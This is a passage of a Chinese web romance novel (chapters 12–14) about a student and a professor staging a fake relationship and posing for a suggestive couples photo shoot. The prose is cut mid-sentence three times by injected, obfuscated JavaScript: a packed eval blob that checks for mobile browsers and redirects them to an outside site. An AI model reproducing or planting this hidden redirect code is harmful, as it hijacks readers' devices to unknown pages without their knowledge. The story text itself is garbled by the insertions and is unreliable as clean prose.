T恤换成了黑色的连帽卫衣，大概只穿了一件，宽肩的线条被勾勒出来，整个人锋利分明。 他下巴点了下陈西庭，示意身旁的女孩，冷淡道：“我男朋友来了，能不缠着我了吧。” 陈西庭：？ 12. 写真 陈西庭在这一瞬间，深刻明白了三句话：无事不登三宝殿，黄鼠狼给鸡拜年，夜猫子进宅。 ——全都没安好心。 余序身旁的那个女孩将他上下打量，神情间有些诧异。 陈西庭不喜欢社交，但从不怯场，坦然迎接她不太礼貌的打量。 女孩一头如瀑的黑色长发，脸上不似寻常网红般浓妆艳抹，妆容很淡，却掩盖不住出奇艳丽的五官，从客观角度来说，长得要比徐叶枳漂亮一些。 她身后不远还站着两个人高马大的西装保镖，把其他人给隔开些距离。 陈西庭觉得有些眼熟，应该是在哪里见过她。 女孩率先开口，语气充满质疑，“你真是他男朋友？别是随便找的朋友来假扮的吧。” 周围的交谈声渐小，人群都看了过来，像是没见过两个男的搞对象一样。 余序垂着眼给球杆擦粉，散漫得仿佛事不关己一般。 陈西庭有点想笑，这不是“是不是余序男朋友”的问题，是“给不给余序面子”的问题。 余序要真不在意，就不会把他叫过来了。 陈西庭可没这么好心，在“现在就让余序没面子”，和“之后让余序好好报答”之间选择了后者，看也没看女孩一眼，朝余序走过去，淡然问道：“她是谁啊？” “一个女的，不熟。”余序随手丢下巧克粉，自然而然握住他的手腕，往自己这边拉近了些，“会玩台球么？” 他的掌心温度拢在腕间的皮肤上，和上次的感觉一样，干燥又温暖，陈西庭甚至能感到自己的脉搏在他的掌心下跳动。 “不会。”陈西庭看着他握杆的另一只手，筋骨利落，修长分明，没涂黑色指甲油，倒是手背上印着青褐色纹身，线条缭乱交错，笼中困兽犹斗。 陈西庭这方面了解有限，没看出来具体是什么图案，但觉得在他手上很是赏心悦目。 不过按这小子的德行，这个纹身估计和那个唇钉一样也是假的。 在学校里像个好好读书天天向上的乖学生，出来换了身皮肤，得管他叫丧彪。 “我教你。”余序说，转头朝一个寸头青年道：“六哥，拿个杆儿。” “陆……余序！”女孩美目一瞪：“你就天天在这种地方和柏辰浩混？有意思么？” 余序缓慢掀起眼皮，睇她一眼，“我天天上学。” 女孩被噎了下，又瞪了一眼陈西庭，“你上学不也有空谈恋爱么，你还出去相亲，怎么就不能跟我谈！” 余序接过寸头青年递来的球杆给陈西庭，“我喜欢男的，你去变性吧。” “我不信，你以前明明是直的。”女孩不依不饶，“我就出去拍了半年戏你就弯了？你怎么证明你们在谈恋爱？！” 余序把球杆给陈西庭，语气冷漠，“我第二次提醒你，你现在是公众人物，你不要脸我还嫌丢人。” 提到公众人物，陈西庭忽然想起为什么觉得这个女孩眼熟了。 她叫陶夏柠，是个女明星，从出道开始资源就好得离谱，前不久拿下一个电影界很有含金量的奖项，被网嘲资本运作评奖黑幕。 她刚出道时传的和导演.潜.规.则的绯闻被翻了出来，而当时的导演和爆料的狗仔，早就在娱乐圈内查无此人了。 事情闹得有点大，连他这种不关注娱乐八卦的人都刷到了，只是一切讨论又在一夜之间偃旗息鼓。 因而有网友推测她背后的资本，可能和京圈世家有关。 “怕什么，又没人敢外传。”陶夏柠不屑，视线在余序和陈西庭身上来回看了看，“要不你们俩亲一下吧，亲一下我就信。” 余序眼神倏然冷下来，黑眸冷邃不见底，“你没完了是吧？” 陶夏柠被他凌厉的眼神吓到，下意识后退小半步，反应过来别开眼，冷嘲道：“凶什么凶，你们早晚会分手的，我就不信你家里能让你跟一个男的在一起！” 说完她气势汹汹地转身，踩着高跟鞋“哒哒哒”地带着保镖从楼梯上楼了。 她身影消失在门后，人群宛如逐渐滚沸的水般响起讨论声。 看了半场戏的陈西庭掂了掂手中的球杆，饶有兴趣地问：“还教么？” 余序眸中的冷意缓和，背身靠到球桌边，手中的球杆漫不经心地往地上一支，抱起胳膊，眼尾弯下，溢出一抹很轻的笑意，“叫声余老师就教你。” “包教会？” “当然。” “一杆清台？” 余序挑眉，“你一口能吃成胖子？” “怎么？”陈西庭揶揄：“你不会？” 余序嗤了声，“瞧不起谁呢？” 他直起身子重新拿好球杆。寸头青年过来将球摆好，招手示意桌边看热闹的人都撤开点距离。 余序俯下身，印着纹身的右手前伸张开，骨节分明的五指撑在台面上支起球杆，灯光下手背上的筋线绷起，纹身图案上的东西好像要冲破枷锁逃出来，是一种很有力量的美感。 少年锐利的黑眸通过杆头瞄准，像野兽盯上猎物般盯着白球，身侧屈起的左手臂发力，非常暴力的一杆直直击出，“嘭！！” 宛如惊雷炸开，台球们噼里啪啦连续碰撞，让人一阵眼花缭乱后数量逐渐减少。 余序直起身子，等到最后一颗球骨碌碌地滚进洞，台面空空如也时，回头看向陈西庭。 围观的人先是寂静，接着响起掌声和吹捧。 陈西庭也拍了两下手，毫无诚意地夸赞，“不错。” 余序随手把球杆丢到台面上，“你想学这个？” “不想。”陈西庭淡笑：“我就是想看看你行不行。” 余序：？ 草，好想一棍子给他天灵盖削飞。 “男朋友过来，阿序你也是孔雀开屏上了。” 一道熟悉的声音响起，陈西庭闻声看去，只见上次在夜店过生日的那个柏辰浩走过来，含笑和他点头示意，“又见面了，欢迎光临我的店。” 陈西庭礼貌回应：“我的荣幸。” 客套过后，柏辰浩对余序道：“今天刚好，你们俩要不要拍一套情侣写真？” 余序语气冷躁，“不拍，滚。” 柏辰浩哪里会放过这么好的机会，故意道：“真不拍？我听柠柠说你们俩肯定是假情侣，真的假的？你不会不敢拍吧？” 余序浓隽的眼眸轻眯：“我需要证明给你们看？” “当然不用。”柏辰浩摊手耸了耸肩，“但柠柠有多难缠你也知道，她认定了你是找了个假男朋友来糊弄她，我这也是为你好，虽然我真的很需要一组同性恋写真镇店就是了。” 余序磨了磨牙。 他和陶夏柠小时候住在一个大院里，算是青梅竹马，在她的性格还没变得如此尖锐的时候，长辈们总拿娃娃亲来开他们两个的玩笑，他从来不当回事儿，但陶夏柠一直以他的小新娘自居。 后来陶家生了些变故，陶夏柠中学时期被送到国外度过，回来后性格大变，好像把他当成了所有物，经常缠着即将参加保送竞赛的他，并多次催促家中长辈订下婚事。 这个行为惹起余小姐的反感，碍于两家是世交她也不好说什么，于是想让他早点确定伴侣，避开这个麻烦精，这也是他为什么这么早就开始相亲的原因之一。 今天他本来是和另一个女孩相亲的，陶夏柠知道后竟然追了过来，一顿冷嘲热讽划分所属权的行为把那个女孩给气走了。 之后又跟他来了这里，不依不饶地逼他答应和她在一起。 余序烦得不行，又要看在长辈的面子上不能真的把她怎么样，最后出了个下下策说自己喜欢男的。 “你想拍么？”余序询问陈西庭。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16082355|179412||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 陈西庭反问：“你想拍？” 他大概猜得到前后因果，上次他用要和余序约会挡住徐叶枳，这次过来帮他无可厚非，但拍情侣写真就有点过了。 余序是同性恋，他可不是。 “你拍我就拍。”余序说。 他当然也一点也不想拍，为了让陶夏柠之后离他远点，他愿意将就一下。 “不拍。”陈西庭淡淡道。 “那就不拍。”余序干脆利落，抬手将柏辰浩扒到一边，“我们要走了，你找别的同性恋拍去。” “别啊别啊。”柏辰浩欲哭无泪，这一对外形这么般配，对于摄影师来说可是完美模特，出去打着灯笼都找不到，可遇不可求。 明明刚刚都要答应了，结果突然就拒绝了，换了谁都想哭。 “我给你们十倍价钱怎么样？”柏辰浩努力挽救，拉着余序的衣服夹起嗓子求道：“或者阿序你开个别的条件，这么多年的兄弟，你就我帮这个忙呗。” “别恶心我。”余序甩开他，“他拍不了，他是我们学校的教授。” 哪个大学教授能出来拍同性恋情侣写真？脑子有病。 “哦哦哦哦。”柏辰浩恍然大悟，话音一转，“那拍了我不外传行不，我就满足自己的癖好，我只拍不留底片，你们把底片拿走，我绝对不留。” 余序知道柏辰浩作为同性恋的这些癖好，也相信他的人品，但陈西庭说了不拍，他不能替他决定。 不料陈西庭道：“可以，但我要先看看都能拍什么样子的。” 柏辰浩嘴角立即咧到了耳根后，连连道：“可以可以，当然可以！你们跟我来，我的作品可不是轻易能给人看的。” 陈西庭跟着他走，余序疑惑跟上，“你脑子进水了？” 陈西庭淡然看了他一眼。 看看而已，又没说必须要拍。 三人穿过酒吧区域，柏辰浩推开门，带他们进入摄影棚。 里面甚至比外面还要宽敞，空气里淡淡弥漫着照片墨水的化工气息，拍摄区放满摄影器具也丝毫不觉得拥挤，陈西庭没见过的器材五花八门，俨然一个广告拍摄现场。 一个男网红穿着敞怀的绿色西装站在灯光里，听摄影师的要求摆换各种pose，其余工作人员不断调整灯光、服装、妆容等，忙碌又专业。 柏辰浩带着他们两个径自走到工作区，这里就要杂乱了些，但又乱中有序，宽大的桌面上散着厚厚资料杂志以及镜头盖内存卡水杯等。 陶夏柠坐在桌后的椅子上，捧着咖啡杯指挥一个工作人员帮她修图，看见余序和陈西庭过来，冲他们翻了一个白眼。 被余序和陈西庭同时无视。 柏辰浩让他们俩坐到休息区的沙发上，拿来平板给陈西庭，颇有些自豪地道：“这里都是我拍的同性恋题材作品，一般人我都不给拍的。” 陈西庭滑动屏幕里的照片，仿佛打开了什么新世界的大门，照片什么风格都有，模特也是形色各异，每组照片下面都有电子小字标注，什么“女装美0和体育生男友的壁咚强吻”、“邪魅狂狷总裁X呆萌人鱼社畜敬健康和自由”、“金发混血少爷攻X叛逆男高浴室play”…… 陈西庭翻了十几张，每张都极具故事性和几乎要冲破屏幕的性张力，不太能发到正规平台上。 翻着翻着，突然一张照片进入视野，陈西庭指尖一顿，目光被吸引住。 与此同时，柏辰浩的女助理端来咖啡，一杯先放到陈西庭面前，再放一杯到余序面前，接着八卦地问道：“你俩谁是1，谁是0啊？” 这里距离工作区不远，陶夏柠的视线投了过来。 余序端起咖啡，疑惑看着女助理，“什么1什么0？” 助理不知道他们和陶夏柠的弯弯绕绕，瞪大眼睛惊讶道：“你是同性恋，你竟然不知道1和0？” 13. 项圈 陈西庭听见这两句对话，也很想问：你个同性恋你不知道什么是0和1？ 我一个直男我都知道。 余序是真不知道0和1是什么意思，但能意识到在同性恋圈子里，0和1的概念大概和“1+1=2”一样，是个人尽皆知的常识。 可能连狗路过教两下都能答出来，而他作为一个“同性恋”竟然不知道。 超绝破绽。 果不其然，陶夏柠冷嘲热讽的声音立即飘了过来，“呦，同性恋不知道什么是1和0啊，别不是个假的。” 陈西庭淡然替余序圆场，“他是0。” “哇！”女助理察觉气氛不对，对陈西庭惊叹道：“那你是年上矮1哎！好少见！你看着没比他大多少哎，你们俩差几岁呀？你们俩是抽签决定谁当1谁当0的吗？” 陈西庭：“……” 他没想到调侃余序，自己还换来了一个标签，什么年上矮1，好难听。 陶夏柠冷笑一声，“余序，陆叔叔知道你在外面给别人当0么？” 余序原本懒散地靠着沙发，左脚踝搭着膝盖，闻言脸色冷沉下来，漆黑的眼瞳显出几分阴鸷来。 柏辰浩见状喝道：“柠柠！别说了。” 女助理被吓了一跳，连忙该干什么干什么去了。 陶夏柠意识到自己说错了话，漂亮的脸蛋上闪过一丝后悔，又迅速恢复趾高气昂，别开脸哼了一声。 柏辰浩都无奈了，先不说余序喜欢男的女的，就她这个大小姐臭脾气，是个人都不会喜欢吧。 当然，大小姐也根本不在意别人的看法，她只会不择手段得到自己想要的，让全世界都围绕着她转。 “柠柠，我今天比较忙。”柏辰浩下达逐客令，“改天再帮你拍吧，你有空的时候再过来。” 此话一出，陶夏柠美目中充满不可思议，“好好好，柏辰浩连你也向着他！” 她将手中的咖啡杯重重一放，愤然起身，把柏辰浩、余序以及陈西庭全剜了一眼，“祝你们早日分手！” 然后昂着骄傲的下巴，带着保镖走了。 她离开后，柏辰浩扶额对余序道：“她可能是把智商全换成美貌了，从小就这样，你别往心里去。” 余序脸色仍然很冷，左脚烦躁地放下来，没说话。 陈西庭又旁听了一出热闹，比较好奇陶夏柠那句话怎么让余序生气的。 应该不是在后面的“给别人当0”，余序都不知道0是什么意思，那就只能是“陆叔叔知道”，陆叔叔是谁？ 余序身上让人疑惑的点又多了一条，明明是需要兼职赚钱的大学生，却毫无穷困窘迫之感，反而气势凌人，拽得像谁都欠他钱似的，甚至还能让这些少爷小姐都看他的脸色。 难道他是什么豪门少爷勤工俭学？ 搞学术的人一般都有旺盛的好奇心和探索欲，陈西庭如此猜测，便想要验证答案，但他不着急。 他把平板展示给柏辰浩，问：“这种能拍么？” “嗯？”柏辰浩看过来，眼睛一亮，“可以啊！你喜欢这种的？” 余序瞥向平板，看清上面的照片，顿感眼前一黑。 照片上其中一个男人赤裸着古铜色的上半身，头上戴着毛茸茸的狗耳朵，脖子上戴着黑色项圈，双膝跪在浴室里，双手被绑在具有一条大尾巴的身后，粗壮的手臂被两道黑色臂环勒出肌肉轮廓，正仰头深情看着另一男人。 另一个男人穿着浴袍，手中扯着项圈上的银链子，居高临下地看着他，一只脚踩在他的肩头，两个人之间仿佛存在着具象化的荷尔蒙。 余序视线上移看着陈西庭，十分不理解并流出一丝嫌弃：“你想戴这些玩意儿？” 陈西庭微笑：“你戴。” “我戴？”余序仿佛在看一个傻子，“这么伤风败俗的东西你让我戴？你做什么梦呢？别想再拿平时分威胁我，你给我扣光我都不会戴的。” 陈西庭倒也不是只会用平时分威胁，很随和地道：“你不想拍就不拍，我威胁你干什么？” 他难得地好说话，余序抱起胳膊，不容置喙地道：“反正不拍这个，换个别的。” 陈西庭只想看余序戴项圈和兽耳，但他还是滑动照片，“行，我觉得这种和这种的也挺好。” 第一张照片上两个男人穿着泳裤缠绵拥吻，勒紧的大腿上甚至能看见晋江的轮廓。 第二张更离谱，两个男人加一起的裸肤度高达百分之九十，其中一个还穿着女装的情/趣/内衣和黑丝以及高跟鞋，动作擦边充满某种暗示倾向。 “陈西庭你变态吧！你喜欢这种东西。”余序皱眉，又扭头对柏辰浩嫌弃道：“你天天都拍些什么破玩意儿呢？怎么不直接脱光了拍？拍完了拿去给黄/片当封面。” 果然，他们这些同性恋都不正常！ “嘿嘿。”柏辰浩眉飞色舞，“这你就不懂了，犹抱琵琶半遮面才最吸引人，要是直接给你三十斤芒果一下就吃腻了，只有每天给你一个才能吊足你的胃口。” 余序：“……傻逼，我不爱吃芒果。” “我就比喻一下嘛。”柏辰浩也对他表达嫌弃，“我这都是艺术，同性的艺术，跟黄/片可不一样，你一个理科生不懂很正常。” 说完他看向陈西庭，“我这里还有两套新设计的，没人拍过，要不要看看？” 理科生陈西庭对他的艺术也毫无兴致，只是问：“能戴项圈和兽耳么？” 柏辰浩有点激动，让女助理把他新设计的衣服拿过来，本来是没有项圈和兽耳的，但他看出来陈西庭只对这个感兴趣，担心说不能陈西庭就不拍了。 两相对比，艺术也不是不能改动的，他到了嘴边的否定拐了个弯，变成当然可以说出口，反正要是最后效果不好还可以P。 女助理将两套衣服拿过来，双眼饱含期待地等候在一边。 “这套是叛逆男高和腹黑老师。”柏辰浩逐一介绍起来，“这套是吸血鬼伯爵和他的转世爱人，你们想拍哪个？” 陈西庭和余序毫不犹豫地选了第二个，开玩笑，变态才会选第一个。 柏辰浩拆开精美的包装盒，声情并茂地向陈西庭和余序介绍他的设计理念，“吸血鬼知道么？惊情四百年看过么？伯爵德古拉因为爱人的离世自杀变成吸血鬼，跨越四百年找到爱人的转世，找回那份遗失了四百年的真爱。”[注] 他的兴奋之情溢于言表，好像待字闺中多年的女儿终于有人上门提亲了，未来女婿还长得一表人才，坐拥万贯家财。 然而对面是两个不解风情的理科生，不仅没看过《惊情四百年》，甚至不知道这个故事是电影还是小说，从他家美丽动人的待嫁女儿身上只看见了两个字：女的。 柏辰浩沉浸在自己的艺术中，“我这套衣服就是脱胎于这个故事，吸血鬼跨越百年寻找自己的同性爱人，没想到爱人已经娶妻生子，于是吸血鬼对他进行了一系列强取豪夺，爱恨交缠，呜呜呜光想一想你们俩来拍这个的画面，我都激动得想哭。” 陈西庭：“……” 余序：“……” 衣服就衣服，拍照就拍照，扯什么艺术，有病。 好在衣服是比较正常的两套西装，在柏辰浩的安排下，两人分开做起造型。 陈西庭扮演的角色是被吸血鬼强取豪夺的转世爱人，服装是暗红色的哑光质地，戗驳领做了不对称设计，领口袖口都藏着暗绣，灯光下隐隐有光晕流动，低调又精致。 换好衣服后，造型师提着装备箱进来化妆间给他化妆，看见他时，明显愣了一下，笑着问女助理：“老板在哪里找的帅哥？和以前的都不是一个档次啊！” 骨相长得好化起妆也轻松，加上陈西庭也不想在脸上糊些不知道什么成分的水水粉粉，造型师便只给他抓了一个三七分的蓬松发型，用眼线修饰本就细长清冷的眉眼，最后将他颧骨上的小红痣给点重。 只是很简单的描绘，却仿佛有什么魔法一般，清贵斐然的气质中多了一分阴郁妖冶的感觉，像轻易拿捏人心的贵族领袖，抬眼低眉间尽是让人采撷不得的诱惑。 陈西庭虽然对大部分事情都没有兴趣，但并不排斥体验新事物，仔细瞧了瞧镜中的自己，还挺满意的，对余序的装扮莫名产生一丝期待。 这点期待在十分钟后得到落实。 他出去在拍摄区的沙发上等着，柏辰浩一边夸赞他一边给他讲拍摄要领。 讲到这个人物爱上吸血鬼又不肯承认时，余序从化妆间中走了出来，刚好是陈西庭抬眼就能看见的位置。 陈西庭正在用一次性水杯喝水，看见他时，喝水的动作一顿。 柏辰浩见状转过头，正在说的话就这么戛然而止。 周围工作人员们忙碌的声音也渐渐熄灭，所有人都看向余序。 少年穿着一身纯黑色的复古风西装，宽肩窄腰的挺拔身形将衣服完美撑起，锡纸烫不知道用了什么办法又变回了直发，只将中间部分的额发向后梳，露出饱满的额头，冷峻立体的五官在灯光下展露无疑，血红色的美瞳难掩锋锐，睥睨又凌厉。 不太像活了几百年的吸血鬼伯爵，倒像是刚长成的吸血鬼王储，英俊沉稳，凛然不可侵犯。 他毫不在意周围人投来的惊艳视线，径自朝陈西庭走过来，将手里的项圈和兽耳扔给他，“帮我戴。” 兽耳和项圈摸起来都是真皮制造，链子是纯银制，和照片上的并不是一个款式，更复古一点，可以得知柏辰浩在这方面要求足够苛刻。 陈西庭放下水杯，打开项圈上的卡扣，坐直身子，“过来。” 他以为余序会坐到他旁边，不料他走近后，屈膝在他面前半蹲，微微抬头露出脖颈。 陈西庭将项圈从后面绕过来，银制的卡扣刚好覆在他锋利的喉结上，调整松紧后问：“紧吗？” 余序撩起眼皮，血红色的瞳仁盯着他，喉结上下滑动，“想勒死我就直说。” 相比于紧不紧，他其实有点痒，陈 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16082356|179412||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 西庭的指尖不时擦过他的皮肤，脖子的皮肤本就敏感，加上陈西庭的指尖有点凉，他差点直接抓住他的手让他别动。 项圈和兽耳本来是让造型师给戴的，但造型师说这是情趣，非要让他拿给男朋友亲自给他戴。 神经病。 陈西庭轻笑，将卡扣放松一点，移到喉结下面收拢，黑色的皮质衬得喉结更加立体突出，“这样呢？” “嗯。”余序低低应了声。 陈西庭扣好卡扣，捏住他的下巴上抬，上身后退一点欣赏。 黑色项圈束缚在暖白的皮肤上，喉结在项圈上方滚动，又被束缚给阻挡，仿佛把人也圈成了独属玩物，只对他一个人俯首称臣，任取任求，涩得要命。 陈西庭将锁链扯在手中，眼中的兴致毫不加掩饰地流出，注意到这一点的余序薄唇轻扯，这位教授看着温润斯文，骨子里果然有点不为人知的癖好。 真会装啊。 戴好项圈，陈西庭拿过兽耳在他头上比量了下，觉得不太合适，还会破坏他做好的发型，于是又将兽耳放了下来，“就这样吧。” 余序摸了摸项圈，站起身，银链子当啷直响，“行。” 柏辰浩刚刚不敢打扰他们俩，这会儿双手合十贴在脸边，压着激动道：“可以开拍了嘛，亲？” “别恶心我。”余序嫌弃地乜他一眼，“赶紧拍。” “好嘞！”柏辰浩接过助理递来的相机，让灯光师就位后，指挥余序去沙发上坐着。 余序坐下，一副拽爷的模样敞着腿。 指挥好余序的姿势后，柏辰浩又指挥陈西庭坐到他腿上。 陈西庭看过柏辰浩的作品，同性恋情侣自然不可能并排坐一起像中学生传纸条，拍之前就做好了准备，按要求坦然地侧坐到余序的左腿上。 坐下时明显感觉到余序大腿瞬间绷紧的肌肉，硬邦邦的，分外结实有力，很难不去想象具有怎么样的爆发力。 陈西庭的重量压在腿上，余序微僵，不重，却是从未有过的感觉，他垂下眼眸，项圈上的喉结滚动，咽了咽口水。 “阿序你放松点儿！”柏辰浩刚举起相机，一眼看出他的状态，“你紧张什么？你把手揽他腰上啊，陈老师不是你男朋友么？你怎么搞的跟陌生人似的？” 陈西庭想笑，因为本来就不熟啊。 余序冷冷地瞪了柏辰浩一眼，抬起手臂揽住陈西庭的腰。 “用点力，把他禁锢在你的怀里。”柏辰浩继续指挥道：“你现在是强取豪夺的吸血鬼，不能让到手的爱人跑了，给我一点侵略性的眼神，不是这种要杀了我的眼神啦。” 余序手指蜷起又放开，搭在陈西庭腰上的手臂收紧。 好细。 这个想法第一时间在余序脑海中冒出，手臂下的这截腰身很细很紧实，隐约能触碰到腹肌起伏的轮廓。 他莫名觉得有些热，奇怪的感觉在身体里流淌。 他从来没有跟任何人有过这么亲密的接触，是所有人抱起来都是这种感觉，还是只有陈西庭是这样？ 好像他只要用点力气，就能牢牢将他禁锢在怀里，轻松掌控，施加欲/望。 陈西庭坐在余序腿上，视线要比他高出一点，微垂便看见他立体的眉骨和高挺的鼻梁，利落收紧的侧脸线条向下延伸，遇到一颗黑色的钻石耳钉。 他的黑钻耳钉没有摘，在他暖白的肤色上亮眼又漂亮。 陈西庭忽然兴起，抬手挑了下他的耳垂，“今天怎么没戴唇钉，奇迹序序？” 意料之外的触碰落在敏感的耳垂上，像溅上一滴冰凉的泉水，余序抬眸疑惑，奇迹序序？ 视线触碰，余序看见陈西庭眼底浅浅的笑意，颧骨上的红色小痣像是把他点燃了一般鲜活，心脏里好像有什么东西跟着被点燃了。 好的模特不需要刻意去引导动作，他们之间会自然而然生出暧昧涌动的气氛，柏辰浩的快门按得啪啦啪啦直响。 余序后知后觉地反应过来，陈西庭刚刚把女性向的换装游戏换成了他的名字，眼眸轻眯，“你怎么总对我的唇钉念念不忘？” 陈西庭没回答这个问题，反而问：“你今天又去相亲了？” “你不让？” 陈西庭指尖捏住他的耳垂，轻轻揉着耳钉，笑了下，“我不让你就不去了？” 这个举止以及这个言论实在暧昧分明，余序反思自己是不是真的和他有些什么情感纠葛。 结果当然是没有，这个同性恋教授纯纯是在抽风。 但现在这么多人在，余序又不能直接说明，揽在他腰上的手臂又收紧几分，咬重了发音，“不然呢？男朋友。” 柏辰浩在这时终于开口指挥，“太棒了！你们自己换个姿势试试。” 陈西庭抬起扯着项圈锁链的手，直视着余序的眼睛，“吻我。” 余序一僵，眼眸睁大，“你疯了？” 陈西庭：“……我让你吻我的手。” 余序：“……” 14. 春笋 差一点就把陈西庭掀飞出去的余序：“……话不能说完整么。” 陈西庭扯住靠近脖子的一小截锁链，“你想成什么了？” 余序被他扯得一倾，从下方半握住他的手指，定了定，实在吻不上去，掀眸睨着他，“我觉得你是变态。” “拍都拍了，再矫情有什么意思？”陈西庭眉目藏笑，“你不敢？” 余序磨了下牙，看在陈西庭来给给他当挡箭牌的份上，忍了下来，凑近轻轻吻在他的手背上，同时眼神充满挑衅地盯着他。 少年温热的气息落在手背上，浮起细微的痒意，陈西庭垂眸迎着他桀骜不驯的眼神，心尖上忽然也有些痒。 野狗就应该被驯服。 柏辰浩被眼前的一幕震撼，激动得不行，不断调整镜头角度，生怕错过了一帧。 从头到脚都般配的真情侣拍起来就是有感觉啊！ 足足持续了十几秒，余序率先放开陈西庭的手抬起头，锁链从陈西庭的手中拖长，视线移向柏辰浩，“拍完了吧？” 柏辰浩抓住他盯向镜头的这一幕按下快门，央着道：“拍都拍了，多拍几个姿势呗？” 说完怕余序不同意，他赶忙又道：“下个姿势陈老师你作逃离状，被余序揽腰抓回，要那种挣扎强制拉扯的感觉。” 两个人都不是扭捏的性子，拍了就大大方方地拍，陈西庭按照指挥从余序腿上起来，仿佛真的怕他跑了，余序一手攥住他的手腕，另一只手臂箍住他的腰，不容拒绝地将他扯回来。 然而陈西庭并没有站稳，被余序这么一拉扯，重心偏移，脚步往后一踉跄，重重跌坐进余序怀中，手掌本能地往下一撑。 掌心猝不及防地按在……上，余序低低地闷哼一声，肢体瞬间紧紧绷起。 两个人宛如被施展了定身术一般，同时僵住，仿佛有什么电流酥酥麻麻地窜遍全身。 陈西庭有点懵，清楚感觉到掌心下……，他有些不可置信地偏头看向余序。 这小子竟然……。 余序薄唇紧抿，下颌绷紧，被项圈束缚住的脖子红了个透，抬眸迎接他的视线，漆黑的眼底仿佛压抑着什么，哑声说：“拿走。” 陈西庭怎么可能听话，面上不动声色，手却煞有其事，用口型无声说：……。 余序喉结顶着皮肤上下滑动，攥在陈西庭手腕上的手和箍在陈西庭腰上的手臂都下意识收紧，怒瞪着他。 别人手的感觉完全不同，手指和衣料的摩擦，好像燃起一把簌簌的火，要把他给烧掉。 柏辰浩完全没注意到两人的不对劲，此情此景虽然跟他想要的效果不同，但画面的张力远超他的想象，他沉浸在艺术中，手里的快门按得都快冒烟了。 陈西庭也根本不在意柏辰浩有没有发现，反正……了的人不是他。 他觉得余序的反应很有意思，吃准了这么多人在，余序不会把他给丢开，也不管余序手上要把他捏碎的力度，就是不肯松手。 两人手上较着劲，眼神上也是谁也不肯让着谁，仿佛有刀锋往来。 尤其是陈西庭，旁人看不见的地方，修长的手指不时磨蹭两下。 余序忍无可忍，额角都渗出了一点细汗，攥在陈西庭手腕上的手覆到他手上紧紧扣住，咬牙压低嗓音，用只能两人听见的声音道： “你**想给老子搞～？” 陈西庭唇角微挑，眼神故意下瞥，手上又动了动，低声戏谑道：“你这么容易就能～？” 余序的气吸重了两分，胸膛起伏，被他给压制住，盯着陈西庭的眼神仿佛一个即将捕猎的野兽，沉声道：“放开。” 坏心眼的陈教授继续挑衅，“不放。” 余序偏过额头，从侧面一口咬在他后颈的皮肉上，又凶又狠。 细嫩的皮肤上传来刺痛，陈西庭轻“嘶”了口气，想躲开又被余序的手臂牢牢禁锢在怀里，不由得气笑了，“你真是狗？” 同时柏辰浩也倒吸了一口气，被这画面激动得手都有点抖，这不妥妥的吸血鬼强制爱么！ 真情侣就是会啊！都不用他来指挥！ 而这边陈西庭一直不肯松手，余序的理智所剩无几，齿间又加重了点力道，感觉身体的火好像找到了发泄口，灼热的气息全扑洒在陈西庭的后颈上。 人的脖颈皮肤本就敏感，陈西庭被他这么一咬，又疼又痒，……也有些发热。 他要是……了，可没有东西遮挡，得不偿失，他松开手上的力道，命令余序，“放开。” 逃出桎梏，余序重重出了一口气，松开牙齿时，舌尖不经意间蹭过皮肤，湿软无比的触感，陈西庭感觉有一阵电流顺着脊背上爬，头皮都麻了，僵着没动【审核大大这里是咬脖子，没干别的】。 余序手背抹了下嘴角，黑眸里的凶戾之气未散，转而看向柏辰浩，冷着有点哑的嗓音道：“让所有人都出去。” “啊？”柏辰浩有点懵，移开相机疑惑地看了两眼，好好的怎么突然要人都出去。 不过既然余序都发话了，他立即照做，宣布拍摄暂停，让所有工作人员都出去。 等人走光后，柏辰浩放下相机走过来，关心地问：“怎么了阿序？” 余序烦躁地扯了下嘴角，没说话。 陈西庭从他怀中起身，整理了下自己的衣摆，漫不经心地道：“哦，他……了。” “啊？”柏辰浩一愣，接着往余序身上一看，神情顿时变得微妙起来，“啧啧啧……” 余序懒得理他，起身到卫生间处理。 锁好门后，他扯掉项圈，背靠着洗手台，一下又一下，有些无聊，和陈西庭的手完全是两种感觉。 余序回忆陈西庭……，原来被其他人碰是这种感觉么？ 好一会儿，一点用都没有。 余序垂眸，怀疑同性恋是不是有什么魔力，竟然被陈西庭按住时就……，他之前对男的可从来没有过想法。 脑海里又浮现陈西庭的后颈，他轻轻舔了下犬齿。 陈西庭的西装领口很低，内里的衬衫也是无领的，修长冷白的脖颈暴露在灯光里，在他面前晃了一晚上了。 不对，不全是同性恋，他对柏辰浩就没这种感觉。 柏辰浩要是脱光了勾引他，他能把他从京州甩到魔都。 - 余序迟迟没有出来，柏辰浩翻看刚拍完的照片，抬头问从更衣室里走出来的陈西庭，“阿序他还没出来，你不去帮他？” 陈西庭将臂弯上搭的外套放到沙发边，自然而然地反问：“我怎么帮他？” 那种事情不都是自 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 